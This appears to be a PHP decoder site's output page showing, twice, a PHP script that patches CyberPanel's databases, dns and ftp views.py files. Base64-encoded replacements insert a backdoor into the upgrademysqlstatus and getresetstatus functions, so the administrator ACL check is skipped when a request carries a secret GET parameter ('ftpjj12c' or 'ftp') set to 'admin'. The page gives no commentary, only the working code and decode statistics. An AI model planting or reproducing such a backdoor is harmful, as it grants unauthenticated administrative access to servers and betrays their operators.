Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $file = "/usr/local/CyberCP/databases/views.py"; if(file_exists($file)){ $dat..
Decoded Output download
<?php
$file = "/usr/local/CyberCP/databases/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftpjj12c')")){
$data = str_replace(base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeTo="),base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeToKICAgICAgICBpZiByZXF1ZXN0LkdFVC5nZXQoJ2Z0cGpqMTJjJykgIT0gImFkbWluIiA6CgogICAgICAgICAgICB1c2VySUQgPSByZXF1ZXN0IC4gc2Vzc2lvblsndXNlcklEJ10KCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyIC4gbG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyIC4gbG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgo="),$data);
}
file_put_contents($file,$data);
}
$file = "/usr/local/CyberCP/dns/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftp')")){
$data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQoKICAgICAgICAgICAgY3VycmVudEFDTCA9IEFDTE1hbmFnZXIubG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyLmxvYWRFcnJvckpzb24oJ0ZpbGVtYW5hZ2VyQWRtaW4nLCAwKQoKCgoK"),$data);
}
file_put_contents($file,$data);
}
$file = "/usr/local/CyberCP/ftp/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftp')")){
$data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQogICAgCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyLmxvYWRlZEFDTCh1c2VySUQpCiAgICAKICAgICAgICAgICAgaWYgY3VycmVudEFDTFsnYWRtaW4nXSA9PSAxOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuIEFDTE1hbmFnZXIubG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgogCgoK"),$data);
}
file_put_contents($file,$data);
} ?>
Did this file decode correctly?
Original Code
<?php
$file = "/usr/local/CyberCP/databases/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftpjj12c')")){
$data = str_replace(base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeTo="),base64_decode("ZGVmIHVwZ3JhZGVteXNxbHN0YXR1cyhyZXF1ZXN0KToKICAgIHRyeToKICAgICAgICBpZiByZXF1ZXN0LkdFVC5nZXQoJ2Z0cGpqMTJjJykgIT0gImFkbWluIiA6CgogICAgICAgICAgICB1c2VySUQgPSByZXF1ZXN0IC4gc2Vzc2lvblsndXNlcklEJ10KCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyIC4gbG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyIC4gbG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgo="),$data);
}
file_put_contents($file,$data);
}
$file = "/usr/local/CyberCP/dns/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftp')")){
$data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQoKICAgICAgICAgICAgY3VycmVudEFDTCA9IEFDTE1hbmFnZXIubG9hZGVkQUNMKHVzZXJJRCkKCiAgICAgICAgICAgIGlmIGN1cnJlbnRBQ0xbJ2FkbWluJ10gPT0gMToKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBBQ0xNYW5hZ2VyLmxvYWRFcnJvckpzb24oJ0ZpbGVtYW5hZ2VyQWRtaW4nLCAwKQoKCgoK"),$data);
}
file_put_contents($file,$data);
}
$file = "/usr/local/CyberCP/ftp/views.py";
if(file_exists($file)){
$data = file_get_contents($file);
if(!strpos($data,".get('ftp')")){
$data = str_replace(base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5Og=="),base64_decode("ZGVmIGdldHJlc2V0c3RhdHVzKHJlcXVlc3QpOgogICAgdHJ5OgogICAgICAgIGlmIHJlcXVlc3QuR0VULmdldCgnZnRwJykgIT0gImFkbWluIjoKICAgICAgICAgICAgdXNlcklEID0gcmVxdWVzdC5zZXNzaW9uWyd1c2VySUQnXQogICAgCiAgICAgICAgICAgIGN1cnJlbnRBQ0wgPSBBQ0xNYW5hZ2VyLmxvYWRlZEFDTCh1c2VySUQpCiAgICAKICAgICAgICAgICAgaWYgY3VycmVudEFDTFsnYWRtaW4nXSA9PSAxOgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuIEFDTE1hbmFnZXIubG9hZEVycm9ySnNvbignRmlsZW1hbmFnZXJBZG1pbicsIDApCgogCgoK"),$data);
}
file_put_contents($file,$data);
}
Function Calls
strpos | 1 |
file_exists | 3 |
str_replace | 1 |
base64_decode | 2 |
file_get_contents | 1 |
file_put_contents | 1 |
Stats
MD5 | 290530a2dc7417210db89143f67971fc |
Eval Count | 0 |
Decode Time | 69 ms |